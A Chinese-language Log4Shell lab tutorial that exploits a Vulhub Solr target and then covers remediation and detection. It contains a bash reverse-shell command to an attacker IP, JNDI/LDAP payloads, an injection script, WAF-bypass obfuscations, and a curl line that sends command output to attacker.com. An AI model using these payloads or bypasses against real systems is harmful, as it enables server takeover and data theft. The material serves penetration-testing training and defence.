警告本文所有攻击演示仅限在获得明确授权的测试环境中使用。未经授权的任何攻击行为均属违法。前言1. 技术背景在现代网络攻防体系中外部服务打点Initial Access via External-Facing Services是攻击方最主流的突破口。企业的VPN、远程桌面协议RDP以及面向公众的Web服务器如同城堡暴露在外的城门与窗户是攻击者优先关注的薄弱环节。其中Web服务器因其业务复杂性和广泛使用的开源组件成为了漏洞的高发区。Log4Shell (CVE-2021-44228)漏洞正是利用了Java生态中应用最广泛的日志记录组件Log4j的一个致命缺陷让攻击者仅通过发送一段特殊构造的文本数据就能在目标服务器上执行任意代码堪称“核弹级”漏洞。掌握这类漏洞的利用与防御是理解现代网络攻击入口的第一课。2. 学习价值学完本篇你将能够理解JNDI注入原理掌握Log4Shell漏洞的技术本质而不仅仅是复制粘贴Payload。搭建与复现漏洞环境具备从零开始构建一个包含Log4Shell漏洞的靶机环境并成功复现漏洞利用过程的能力。编写自动化利用脚本将手动攻击流程转化为可复用、可定制的自动化Python脚本提升实战效率。掌握进阶绕过技巧了解在真实环境中如何绕过常见的WAFWeb应用防火墙和安全限制。构建纵深防御体系从开发、运维到检测建立起一套完整的、针对此类漏洞的立体化防御方案。3. 使用场景渗透测试与红队评估在获得授权的情况下对企业Web应用、中间件及各类Java系统进行安全评估验证是否存在Log4Shell及类似的JNDI注入风险。漏洞应急响应当新的远程代码执行RCE漏洞爆发时能够快速理解其原理评估影响并验证修复措施的有效性。安全开发与代码审计帮助开发人员理解漏洞成因编写出更安全的代码并在代码审查阶段识别潜在风险。蓝队监控与威胁狩猎为安全运营人员提供精确的日志检测特征和网络流量模式用于发现和追踪利用该漏洞的攻击行为。一、Log4Shell是什么1. 精确定义Log4Shell官方编号CVE-2021-44228是一个存在于Apache Log4j 2版本2.0至2.14.1中的远程代码执行RCE漏洞。该漏洞源于Log4j2提供的一项名为Lookups的功能当程序记录包含特定格式${...}字符串的日志时Log4j2会解析并执行其中的指令。攻击者可以利用这个特性构造一个形如${jndi:ldap://attacker.com/a}的恶意字符串。当这段字符串被存在漏洞的应用记录为日志时应用服务器会通过JNDI (Java Naming and Directory Interface)服务向攻击者控制的LDAP服务器发起请求并下载、执行攻击者预设的恶意Java代码从而导致服务器被完全控制。2. 一个通俗类比想象一下你去一家餐厅吃饭在意见簿上写下了一句话“请把这张意见条送到 ‘XX地址’ 的张三手上并按他说的做”。正常情况下服务员只会把你的留言内容“请把…”记录下来。但如果这家餐厅的服务员存在漏洞的Log4j2特别“智能”他会真的去解析你的留言发现“送到XX地址”这个指令然后就跑去那个地址找到了张三攻击者的服务器并对张三恶意代码言听计从。Log4Shell漏洞就是这样它错误地将本应只是记录的“数据”当成了需要执行的“指令”。3. 实际用途Log4j是Java世界里最流行的日志框架几乎所有Java开发的Web应用、大数据平台如Hadoop、Spark、中间件如Elasticsearch、Logstash都在使用它。这意味着只要一个Web请求的任何部分如User-Agent、URL参数、POST数据被服务器端的Java应用记录到日志中攻击者就有可能触发这个漏洞。其用途包括但不限于获取服务器的Shell完全接管服务器。窃取服务器上的敏感数据如数据库密码、用户个人信息。将服务器作为跳板攻击企业内网的其他机器。在服务器上部署挖矿程序或勒索软件。4. 技术本质说明Log4Shell的技术本质是JNDI注入。要理解它我们需要先看懂下面这张图它揭示了整个攻击的流程和组件关系。攻击者的HTTP服务器攻击者的LDAP服务器存在漏洞的Web应用(Log4j2)攻击者攻击者的HTTP服务器攻击者的LDAP服务器存在漏洞的Web应用(Log4j2)攻击者1. 攻击者发送恶意请求2. Log4j2记录日志并触发JNDI查询4. LDAP服务器返回恶意引用5. 应用服务器下载并执行恶意类6. HTTP服务器返回编译好的恶意代码7. JVM加载并执行恶意代码8. 恶意代码执行例如反弹ShellGET /search?q${jndi:ldap://attacker.com:1389/Exploit}log.info(Search query: query)3. JNDI通过LDAP协议请求Exploit对象返回一个指向恶意类的HTTP地址javaClassName: ExploitjavaCodeBase: http://attacker.com:8000/GET /Exploit.class返回Exploit.class文件内容new Exploit()建立反向连接交出控制权图解核心机制触发攻击者将JNDI查询语句Payload藏在HTTP请求的某个部分发送给目标Web应用。解析Web应用使用有漏洞的Log4j2记录了包含Payload的日志。Log4j2的Lookup功能被激活解析${jndi:...}。查询应用服务器根据Payload中的地址通过JNDI向攻击者的LDAP服务器发起查询。重定向攻击者的LDAP服务器不直接返回对象而是返回一个“引用Reference”告诉应用服务器“你要的对象不在这里请去我的HTTP服务器上下载一个名为Exploit.class的文件”。加载与执行应用服务器遵守JNDI的规则访问攻击者的HTTP服务器下载Exploit.class文件并在自己的Java虚拟机JVM中实例化执行它。这个恶意类通常会执行一些命令比如启动一个反弹Shell将服务器的控制权交给攻击者。这就是一个完整的Log4Shell 原理和JNDI注入实战流程。二、环境准备为了安全、可控地复现Log4Shell漏洞我们使用Docker来快速搭建一个包含漏洞的Web应用环境。1. 工具版本Docker: 20.10.x 或更高版本Log4Shell靶场镜像:vulhub/log4j:2.14.1JNDI利用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar攻击机: 任何带有Java环境JDK 8和网络工具如nc的Linux系统如Kali Linux。2. 下载方式Docker: 参考官方文档安装https://docs.docker.com/engine/install/Vulhub靶场:git clone https://github.com/vulhub/vulhub.gitJNDI利用工具: 从其GitHub Release页面下载https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.03. 核心配置与运行在靶机服务器上可以是你的物理机或虚拟机启动靶场环境进入Vulhub的log4j目录使用Docker Compose一键启动。# 切换到log4j漏洞目录cdvulhub/log4j/CVE-2021-44228/# 启动Docker容器# -d 表示后台运行docker-composeup-d验证靶场启动后访问http://靶机IP:8983。如果能看到Apache Solr的Web界面说明靶场已成功运行。该版本的Solr内置了存在漏洞的Log4j2。在攻击机上例如Kali Linux准备JNDI利用工具将下载的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar放在一个方便访问的目录。启动JNDI服务运行该jar包它会同时启动一个LDAP服务器和一个HTTP服务器。你需要指定你的攻击机IP地址。# 假设你的攻击机IP是 192.168.1.100# -C 参数指定要执行的命令这里我们使用bash反弹shell# -A 参数指定你的攻击机IP地址java-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-Cbash -i /dev/tcp/192.168.1.100/4444 01-A192.168.1.100运行后工具会输出多个可用的JNDI Payload我们选择其中一个LDAP地址例如ldap://192.168.1.100:1389/oreference。开启监听端口在攻击机上打开一个新的终端使用ncnetcat监听我们刚刚在Payload中指定的端口4444等待反弹回来的Shell。# -l 监听模式# -v 显示详细信息# -n 使用IP地址# -p 指定端口nc-lvnp4444至此所有环境准备就绪。我们有了一个待攻击的目标一套完整的攻击工具链以及一个准备接收战果的监听器。三、核心实战现在我们将一步步执行攻击获取靶机服务器的控制权。1. 步骤一寻找注入点并发送Payload目的找到一个能将我们的输入记录到日志的地方并将JNDI Payload注入进去。Apache Solr的某些API接口会将用户输入记录下来用于调试或统计。我们可以利用admin/cores接口它的某个参数会被记录。我们使用curl工具来发送这个精心构造的HTTP请求。请求命令# 替换 靶机IP 为你的靶机服务器IP# 替换 JNDI_Payload_URL 为JNDI利用工具生成的LDAP地址curlhttp://靶机IP:8983/solr/admin/cores?action$\{jndi:ldap://192.168.1.100:1389/oreference\}说明我们访问的是Solr的admin/coresAPI。将JNDI Payload${jndi:ldap://192.168.1.100:1389/oreference}作为action参数的值。当Solr服务器接收到这个请求它内部的Log4j2组件会记录下这个异常的action参数从而触发漏洞。2. 步骤二观察攻击链反应目的确认我们的攻击链JNDI查询 - LDAP重定向 - HTTP下载 - 代码执行是否按预期工作。JNDI利用工具的输出当你发送上述curl请求后在运行JNDI利用工具的终端中你会看到类似下面的输出[] LDAP Server Start Listening on 1389... [] HTTP Server Start Listening on 8000... [] Received LDAP Query: oreference [] Sending LDAP Reference Result for oreference redirecting to http://192.168.1.100:8000/Exploit.class [] Received HTTP Request for /Exploit.class [] Response Code: 200这清晰地展示了LDAP服务器收到了来自靶机的查询。LDAP服务器返回了指向HTTP服务器上Exploit.class的引用。HTTP服务器收到了靶机的下载请求并成功返回了恶意类文件。3. 步骤三接收反弹Shell目的获取服务器的交互式命令行实现完全控制。Netcat监听终端的输出在nc监听的终端窗口你会看到一个新的命令行提示符出现这正是靶机服务器的Shell。$nc-lvnp4444listening on[any]4444... connect to[192.168.1.100]from(UNKNOWN)[靶机IP]49876bash: cannotsetterminal process group(-1): Inappropriate ioctlfordevice bash: no job controlinthis shell solra3b4c5d6e7f8:/opt/solr$whoamisolr solra3b4c5d6e7f8:/opt/solr$ls-latotal148drwxr-xr-x1solr solr4096Dec202021.drwxr-xr-x1root root4096Dec202021..-rw-r--r--1solr solr11357Oct262021LICENSE.txt...结果分析connect to ... from ...表示成功收到了来自靶机的连接。whoami命令返回solr说明我们当前是以solr用户权限在容器内执行命令。至此我们已成功利用Log4Shell漏洞拿下了服务器的控制权。这是一个完整的Log4Shell 使用方法演示。4. 自动化攻击脚本手动操作虽然能验证漏洞但在实战中效率低下。下面是一个Python脚本可以自动化地检测和利用此漏洞。#!/usr/bin/env python3# -*- coding: utf-8 -*-importrequestsimportargparseimportsysfromurllib.parseimporturljoin# --- 警告 ---# 本脚本仅用于授权的渗透测试和安全研究。# 未经授权的攻击行为是违法的。使用者需自行承担所有法律责任。# --- 警告 ---defcheck_log4shell(target_url,jndi_payload): 通过发送带有JNDI Payload的请求来检测Log4Shell漏洞。 :param target_url: 目标URL例如 http://127.0.0.1:8983 :param jndi_payload: JNDI利用工具生成的Payload例如 ldap://attacker.com:1389/exploit # 构造完整的恶意Payload# 我们将Payload放在User-Agent头中这是一个常见的注入点headers{User-Agent:f${{jndi:{jndi_payload}}}}# 构造测试URL这里以Solr的ping接口为例因为它比较通用test_path/solr/admin/cores?actionPINGfull_urlurljoin(target_url,test_path)print(f[*] 正在向{full_url}发送Payload...)print(f[*] 使用的Header: User-Agent:{headers[User-Agent]})try:# 设置一个较短的超时因为我们不关心响应内容只关心JNDI服务器是否收到请求requests.get(full_url,headersheaders,timeout5,verifyFalse)exceptrequests.exceptions.ReadTimeout:# 超时是预期的因为服务器正在尝试连接我们的JNDI服务器print([] 请求已发送。请检查你的JNDI/LDAP服务器日志确认是否收到连接。)print([] 如果收到连接目标很可能存在Log4Shell漏洞。)exceptrequests.exceptions.RequestExceptionase:print(f[-] 请求失败:{e},filesys.stderr)print([-] 请检查目标URL是否可达或是否存在网络问题。)returndefmain():主函数解析命令行参数并调用检测函数。parserargparse.ArgumentParser(description自动化Log4Shell漏洞检测脚本。)# 添加必需的参数parser.add_argument(-t,--target,requiredTrue,help目标URL (例如: http://example.com:8983))parser.add_argument(-p,--payload,requiredTrue,helpJNDI Payload (例如: ldap://attacker.ip:1389/a))# 参数解析argsparser.parse_args()# 参数校验ifnotargs.target.startswith((http://,https://)):print([-] 错误目标URL必须以 http:// 或 https:// 开头。,filesys.stderr)sys.exit(1)ifnotargs.payload.startswith((ldap://,rmi://)):print([-] 错误JNDI Payload应以 ldap:// 或 rmi:// 开头。,filesys.stderr)sys.exit(1)check_log4shell(args.target,args.payload)if__name____main__:main()如何使用此脚本保存为log4shell_scanner.py。在攻击机上先运行JNDI利用工具获取Payload。执行脚本python3 log4shell_scanner.py -t http://靶机IP:8983 -p ldap://192.168.1.100:1389/oreference观察JNDI工具的日志确认是否收到请求。四、进阶技巧1. 常见错误Payload被URL编码直接在浏览器地址栏输入${...}会被编码成%24%7B...%7D导致Log4j无法识别。应使用curl或Burp Suite等工具发送原始请求。高版本JDK的限制JDK 8u191、7u201、6u211及更高版本默认禁止JNDI从远程URL加载恶意类。但攻击者仍可通过返回序列化的恶意对象来利用这需要更复杂的利用链如利用Tomcat的EL处理器。网络不通靶机服务器必须能够访问攻击者的LDAP/HTTP服务器。在有严格出口防火墙规则的企业内网利用会失败。2. 成功率优化多点注入不要只在一个参数或HTTP头中尝试。将Payload放在所有你能想到的地方User-Agent, Referer, X-Forwarded-For, Cookie, POST数据体等。任何可能被记录的地方都值得一试。Payload混淆为了绕过WAF基础的${jndi:...}可能会被拦截。可以尝试使用Log4j的其他Lookup功能进行混淆例如${${lower:j}ndi:${lower:r}mi://...}${${upper:j}ndi:...}${jndi:ldap://127.0.0.1#attacker.com/a}(利用DNS解析绕过)3. 实战经验总结DNSLog是最好的探测工具在不确定能否反弹Shell时先用DNSLog平台如dnslog.cn生成一个子域名构造Payload如${jndi:ldap://random_string.dnslog.cn/a}。如果DNSLog平台收到了查询记录就证明漏洞存在且网络可达然后再换成JNDI反弹Shell的Payload。无回显利用有时即使代码执行成功也无法获得交互式Shell。此时应执行一些“无回显”命令如curl http://attacker.com/$(whoami)通过攻击者服务器的访问日志来带出命令执行结果。关注所有Java应用不要只盯着Web服务器。任何处理用户数据的Java后端服务如日志处理中心、大数据任务、消息队列消费者都可能是攻击目标。4. 对抗/绕过思路WAF绕过除了上面提到的混淆技巧还可以利用Log4j对Unicode编码的支持或者一些非典型的协议如DNS、IIOP来构造Payload。RASP运行时应用自我保护对抗RASP会监控Java底层函数的调用。高级的攻击会寻找更底层的、未被监控的Java Gadget利用链来执行命令或者通过Java Native Interface (JNI) 调用系统原生代码绕过JVM层面的监控。五、注意事项与防御1. 错误写法 vs 正确写法开发侧错误依赖存在漏洞的Log4j版本2.0-2.14.1。正确立即升级Log4j到最新安全版本2.17.1或更高。这是最根本、最有效的修复方式。错误手动过滤${等特殊字符。黑名单策略极易被绕过。正确如果无法立即升级采用官方的临时缓解措施在Log4j2.10.0及以上版本设置系统属性log4j2.formatMsgNoLookups为true。或从log4j-core.jar中移除JndiLookup.class文件zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。2. 风险提示影响范围极广任何使用Java的系统都应被视为潜在受害者需要立即排查。利用成本极低攻击者只需发送一个字符串即可无需认证。后渗透风险巨大一旦被攻破服务器将面临数据泄露、被用作僵尸网络、内网横向移动等一系列严重后果。3. 开发侧安全代码范式// 安全代码范式核心是升级依赖版本/* pom.xml (Maven) 确保你的log4j-core和log4j-api依赖版本是安全的。 */properties!--推荐使用官方最新稳定版--log4j2.version2.17.1/log4j2.version/propertiesdependenciesdependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-api/artifactIdversion${log4j2.version}/version/dependencydependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-core/artifactIdversion${log4j2.version}/version/dependency/dependencies代码层面的最佳实践依赖管理使用SCA软件成分分析工具定期扫描项目依赖及时发现并升级有漏洞的第三方库。输入验证虽然不能完全依赖输入验证来防御Log4Shell但对所有用户输入进行严格的格式和内容校验是防御各类注入攻击的良好习惯。4. 运维侧加固方案升级在服务器上找到所有使用Log4j的应用并协助开发团队完成升级。WAF/IPS规则部署针对Log4Shell的虚拟补丁规则拦截包含${jndi:等特征的恶意请求。这是一种临时缓解措施不能替代根本修复。出口防火墙策略严格限制服务器对外的网络访问。禁止服务器主动向互联网发起非必要的LDAP、RMI等协议的连接。这是缓解未知0-day漏洞的有效手段。禁用JNDI在Java启动参数中添加-Dlog4j2.formatMsgNoLookupstrue。5. 日志检测线索应用日志/WAF日志搜索包含${jndi:、${lower:、${upper:等字符串的日志记录。这是最直接的攻击迹象。网络流量监控服务器对外发起的LDAP (端口389, 1389), RMI (端口1099) 等不常见协议的连接请求。进程监控检测Java进程如Tomcat, Solr, Elasticsearch是否创建了异常的子进程如sh,bash,curl,wget。这通常是代码执行成功的标志。总结核心知识Log4Shell (CVE-2021-44228) 是一个因Log4j2的Lookup功能而产生的JNDI注入漏洞可导致远程代码执行。其本质是“数据”被错误地当作“指令”来执行。使用场景在授权的渗透测试中可用于评估Web服务器、Java中间件等外部服务的安全性。在防御中其特征可用于威胁检测和应急响应。防御要点最根本的防御是升级Log4j到安全版本。临时措施包括修改配置禁用Lookup、部署WAF规则和限制服务器出站流量。知识体系连接Log4Shell是“外部服务打点” - “漏洞利用” - “远程代码执行”这一经典攻击路径的完美案例。它连接了应用安全、中间件安全和网络攻防等多个领域。进阶方向深入研究Java的JNDI、RMI、LDAP协议细节学习Java反序列化漏洞利用链Gadget以及探索WAF/RASP的绕过技术是成为高级安全专家的必经之路。自检清单是否说明技术价值是否给出学习目标是否有 Mermaid 核心机制图是否有可运行代码是否有防御示例是否连接知识体系是否避免模糊术语